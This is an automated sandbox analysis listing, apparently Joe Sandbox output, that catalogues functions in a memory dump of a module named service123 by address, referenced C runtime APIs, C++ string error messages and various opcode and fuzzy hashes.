Instruction ID: 0d4e3c487f8eed921658e001b9ba7b9ace74a3a47cb278d8ffc935437df55310
Opcode Fuzzy Hash: 04787301aa35d3229986e490494369eb5c65557148953c505228c50cdd881fb9
Instruction Fuzzy Hash: 7F4168B29093118FE714DF29D48075AFBE4EF99310F55D96EE8988B319D330D845CBA2

Function 6D0904E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6D090550
memset.MSVCRT ref: 6D090574

Strings

basic_string::_M_replace_aux, xrefs: 6D0905F0

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: b5ec9cd971896fec4b5c732f5b47f23a8e338d6be998adb8db8c12b499df0f21
Instruction ID: 5d7b40137ec3ff13bb760af5c56dd63adc74865d6dcf86f700886ecf5c363c4e
Opcode Fuzzy Hash: b5ec9cd971896fec4b5c732f5b47f23a8e338d6be998adb8db8c12b499df0f21
Instruction Fuzzy Hash: 36318E7560C7118FE7018F2ED4C072BBBF1AF86210F15996EE9A88B315D631C844EB52

Function 6D0635F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6D063648
memcpy.MSVCRT ref: 6D0636C1

Part of subcall function 6D065340: memcpy.MSVCRT ref: 6D0653D0

Strings

basic_string::_M_replace_aux, xrefs: 6D063670

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: af22aec58c810295289649cbdbccb3fc77d1759cb4d7f21c9f6037555b79e7df
Instruction ID: 534704d1624283d0571acc3f98dd0f7989c4ba61c7d447360ff043580c4edb08
Opcode Fuzzy Hash: af22aec58c810295289649cbdbccb3fc77d1759cb4d7f21c9f6037555b79e7df
Instruction Fuzzy Hash: 1421AE72A0A3509FD300AF1C988456EFBE4EB89654F95892EF98897312D331D804CBD3

Function 6D01A790 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D01A7AD
wcslen.MSVCRT ref: 6D01A7FD

Strings

basic_string: construction from null is not valid, xrefs: 6D01A7D0, 6D01A820

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 95792d097a27f5eabb1b0ce28d3982b120efc4a9fc222c3f7b910e044a54cc10
Instruction ID: 743ce779d45251ec182c95ba8b5f50c7127cf57950e1ae5b922440d11dd190ba
Opcode Fuzzy Hash: 95792d097a27f5eabb1b0ce28d3982b120efc4a9fc222c3f7b910e044a54cc10
Instruction Fuzzy Hash: 441190B19093148BDB00AF6CD58486ABBF4FF45214F02086EE8C89B301D331D945CB92

Function 6D01A3A0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D01A3BD
wcslen.MSVCRT ref: 6D01A40D

Strings

basic_string: construction from null is not valid, xrefs: 6D01A3E0, 6D01A430

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 95792d097a27f5eabb1b0ce28d3982b120efc4a9fc222c3f7b910e044a54cc10
Instruction ID: 007bca579c28f29fcac81cf94cb077ccf629d7fffe127ba8c8e335ee8c89d08b
Opcode Fuzzy Hash: 95792d097a27f5eabb1b0ce28d3982b120efc4a9fc222c3f7b910e044a54cc10
Instruction Fuzzy Hash: 051190B19093248BDB00AF6CD58486ABBF4FF46214F42086EE8C89B301D331D945CB92

Function 6D0296A0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123COMMON

Download Yara Rule

Strings

-, xrefs: 6D02A0BE

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 0d7184a3ff38a70fd24347949b997969998bf625d9390388d2732d678595d3c2
Instruction ID: 950dcaa375e5d7d5b6ab49a0aab25b971b2e1027ab473fe0b3ba14a00cf7f024
Opcode Fuzzy Hash: 0d7184a3ff38a70fd24347949b997969998bf625d9390388d2732d678595d3c2
Instruction Fuzzy Hash: B9A28E70A093558FEB11CF68C484B9DBBF2BF46324F648668D869AB292C730DC45CF90

Function 6D028570 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

-, xrefs: 6D028F8E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: fefb040945b056a0b6dd456ce7e16ba9750a8a7a0840d7632265be16b3983b6b
Instruction ID: 3d250e0864503eb29091610ee0a35386347747181b514a94d9a1cb9bf7f36712
Opcode Fuzzy Hash: fefb040945b056a0b6dd456ce7e16ba9750a8a7a0840d7632265be16b3983b6b
Instruction Fuzzy Hash: FBA2AE78A053598FEB11CF68C48479DBBF2BF46320F588668D869AB292D730DC45CF91

Function 6D063440 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6D0634C0

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: a19e6ab92d72b56d8bee2b8b97c20f21cb55289c84f67ce55c07f3a110b23e94
Instruction ID: 05cb7244cdc7d8298a32d1aae9383e569a1daa45d3841fa0cb98d2e2b3eb927d
Opcode Fuzzy Hash: a19e6ab92d72b56d8bee2b8b97c20f21cb55289c84f67ce55c07f3a110b23e94
Instruction Fuzzy Hash: 0E019AB15093819BE302AF6A808472BFFF4FF96254F89886DE5C887215C335E4048BA2

Function 6D01A720 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D01A73D

Strings

basic_string: construction from null is not valid, xrefs: 6D01A760

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: c773ecd93b0fea6a64f87f498e0aa930886b296167400ebb728f090bd7846b94
Instruction ID: 972ee0ff453d683e4e6eab7e5d13c3acb1b82aac4c8db36eb80f8279b5e910df
Opcode Fuzzy Hash: c773ecd93b0fea6a64f87f498e0aa930886b296167400ebb728f090bd7846b94
Instruction Fuzzy Hash: 8DF0BEB49083148FDB00EF6CC48082AB7F4FF46318F0248ADE8889B311D332E945CB92

Function 6D01A330 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6D01A34D

Strings

basic_string: construction from null is not valid, xrefs: 6D01A370

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: c773ecd93b0fea6a64f87f498e0aa930886b296167400ebb728f090bd7846b94
Instruction ID: ee34a8743b82c0eca9c6dc105a3f09640e8f1ef98a73719b752c9c7a1765def6
Opcode Fuzzy Hash: c773ecd93b0fea6a64f87f498e0aa930886b296167400ebb728f090bd7846b94
Instruction Fuzzy Hash: B1F03AB59192148BDB00EF6CD48496AB7F4BB46214B4648ADE8889B311D232E945CB92

Function 6D0104F0 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

basic_string::substr, xrefs: 6D010548
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D010550

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 17fa47691970cc0a59e13fccd61406efe2c0ffaf8949b137357fc7e102aad3ab
Instruction ID: f7af9b6ad1ecb6e2c6cdb23d85ae4df38cb6a2defe57dfd9a4d29dbc778e7d36
Opcode Fuzzy Hash: 17fa47691970cc0a59e13fccd61406efe2c0ffaf8949b137357fc7e102aad3ab
Instruction Fuzzy Hash: F101E4B5A0E300AFE704DF29D884A9BFBE5ABC9754F14996DE488D7304D234D8818B97

Function 6D01C2C0 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D01C320
basic_string::substr, xrefs: 6D01C318

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 52b6e10351ecdba8878038090ec1436a523cbc3e171a6b2986912385d9fd0beb
Instruction ID: f1568fa00b2cbd2e4f59c37dda013116d8f144418304787781ac26b2fccfb48a
Opcode Fuzzy Hash: 52b6e10351ecdba8878038090ec1436a523cbc3e171a6b2986912385d9fd0beb
Instruction Fuzzy Hash: 57017C706083009BD704DF2DD480A1AFBE5BBCA308F54896DE488DB215DB31D845CB87

Function 6D034490 Relevance: 2.1, APIs: 1, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af23eb493af48a72702a5b31c0c91704f9aa7ec3fe8c63b00d8e11a4fd0b007
Instruction ID: 9572490248fee777529abbf35d136b6537711b859466ac98df2fa6c4cf87f9b4
Opcode Fuzzy Hash: 1af23eb493af48a72702a5b31c0c91704f9aa7ec3fe8c63b00d8e11a4fd0b007
Instruction Fuzzy Hash: 2082B174E042AA9FEB11CFA8C08079DBBF1AF4A310F168659D865AF396C376DC45CB41

Function 6D032A7E Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d051efaa4f0e05bb1d5862b8cb2a517803e6156c4be78ec51de2d045ee2a8906
Instruction ID: 2d677586b92d7194a22d8b025b5dd3e8d7bbed787d95fc32cb67cdc20d0d1841
Opcode Fuzzy Hash: d051efaa4f0e05bb1d5862b8cb2a517803e6156c4be78ec51de2d045ee2a8906
Instruction Fuzzy Hash: 48727170E082AACFEB21CFB8C48479DBBF1BF0A314F558659D4A5AB391D3349845CB91

Function 6D0311BE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a316c49b2a61c6f2ef7f5a62c36dd12c4f3c11772f0cde98c0483407d17fc24
Instruction ID: 8c6cc65f7f888b570cb9760a9d9931f04c51d1033c116797b5911f87755deb1c
Opcode Fuzzy Hash: 5a316c49b2a61c6f2ef7f5a62c36dd12c4f3c11772f0cde98c0483407d17fc24
Instruction Fuzzy Hash: 8D729E70E083AACFEB11CFA8C48479DBBF2BF0A314F158659D4A5AB391D3349845CB52

Function 6D031E40 Relevance: 2.0, APIs: 1, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbc6c0d52ed542a2678365ace08b0eae38a4592e6e2c4a2918d7e3fd98f7654d
Instruction ID: 674f21f8d404bcb5678c96fb4c601ad786b002c93192dba7b91ec4090eda9e63
Opcode Fuzzy Hash: bbc6c0d52ed542a2678365ace08b0eae38a4592e6e2c4a2918d7e3fd98f7654d
Instruction Fuzzy Hash: 59726E70A083AACFEB21CFB8C48479DBBF1BF0A314F558659D4A5AB391C3749845CB91

Function 6D030580 Relevance: 2.0, APIs: 1, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc5338bab56fae1402d52288664031b1a1b6aebf2928ce5f54690c4513b071a
Instruction ID: 138e95aa250f839d75a6c8586eb886ed785a45cb32477bca5f4ffdd715cb5658
Opcode Fuzzy Hash: ddc5338bab56fae1402d52288664031b1a1b6aebf2928ce5f54690c4513b071a
Instruction Fuzzy Hash: 45729E70E0A3AACFEB11CFA9C48479DBBF1BF0A314F158659D4A5AB391C374A845CB41

Function 6D01F510 Relevance: 2.0, APIs: 1, Instructions: 770stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D01F663

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction ID: 816ca82ce76bed0d6ade5231d1aaba6f80f33f5fc9f025104918138b70e63051
Opcode Fuzzy Hash: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction Fuzzy Hash: E8726A76E08259CFDB04CFA8C8806ADBBF6BF89310F148659E465AB3A1C735AC45CF51

Function 6D0377D0 Relevance: 1.9, APIs: 1, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c10e7af7163e178230ea57e69e8e5adaa87fd156c8a5eb7a4bfd48617c4a25
Instruction ID: b6e9e09fe8e0a06736b4221916d2f247e9f1f108c441803800b1510e4b1d2574
Opcode Fuzzy Hash: 43c10e7af7163e178230ea57e69e8e5adaa87fd156c8a5eb7a4bfd48617c4a25
Instruction Fuzzy Hash: F552D270E042AADFEB01CF68C48479DBBF1BF86324F168659E864AB391D335D845CB91

Function 6D022110 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction ID: b43a83dc339714681d665b69ef3da77acd54e2a4cda511217bca167d08b6c153
Opcode Fuzzy Hash: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction Fuzzy Hash: 9CE16935E162598FDB21CFB8C48069DBBF2BF49310F548269E865AB391C335AD45CF60

